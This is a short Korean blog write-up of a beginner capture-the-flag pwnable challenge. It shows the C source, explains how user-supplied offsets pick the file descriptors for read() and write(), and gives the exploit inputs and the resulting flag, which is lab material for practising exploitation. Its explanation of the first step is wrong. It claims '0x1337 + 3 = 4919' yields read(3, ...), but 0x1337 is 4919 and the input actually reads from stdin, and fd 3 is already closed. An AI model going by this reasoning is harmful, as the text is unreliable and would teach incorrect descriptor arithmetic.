[Tutorial] file descriptor

@yd1ng· May 12, 2025 · 1 min read

문제 개요

파일 디스크립터(File Descriptor)를 간접적으로 조작하여 /flag 파일의 내용을 출력하게 하는 포너블 문제입니다.

소스코드 요약

void open_flag() {
  int fd = open("/flag", O_RDONLY);
  if (fd < 0) {
    perror("can't find /flag! please contact admin");
    return;
  }
  read(fd, flag_buf, 0x100);
  close(fd);
}

int main() {
  int fd;
  char command[0x100];
  open_flag();
  printf("fd1 > ");
  scanf("%d", &fd);
  read(fd - 0x1337, command, 0x100);
  if (!strncmp(command, "cat flag", 8)) {
    printf("fd2 > ");
    scanf("%d", &fd);
    write(fd - 0xcafe, flag_buf, 0x100);
  }
}

취약점 분석

  • read(fd - 0x1337, ...) → 사용자가 입력한 값에서 0x1337을 뺀 파일 디스크립터를 사용
  • write(fd - 0xcafe, ...) → 마찬가지로 사용자 입력으로 write() 대상 FD 제어
  • open("/flag", O_RDONLY)는 보통 FD 3번에 열림 (0=stdin, 1=stdout, 2=stderr 다음)

익스플로잇 과정

1. fd1 > 입력

  • 0x1337 + 3 = 4919를 입력하면, 내부적으로 read(3, ...)이 되어 우리가 입력하는 문자열을 command에 넣을 수 있음

2. command 입력

  • cat flag 문자열을 입력하면 strncmp(command, "cat flag", 8) 조건 통과

3. fd2 > 입력

  • 0xcafe + 1 = 51967을 입력하면 write(1, flag_buf, 0x100) → 표준 출력(stdout)에 플래그 출력됨

최종 익스플로잇 입력 예시

$ ./fd_bypass
fd1 > 4919
cat flag
fd2 > 51967
Kuality{ef9bda07523df11b0e55db564e301af9e708eb400bd9eaa109ce717c858cbecf}

결론

간단한 FD 계산을 통해 조건문을 통과하고, read/write 대상으로 stdout과 open된 FD를 맞추는 것이 핵심인 문제입니다.

@yd1ng
안녕하세요. 양진영입니다.
© copyright 2025. yd1ng all rights reserved.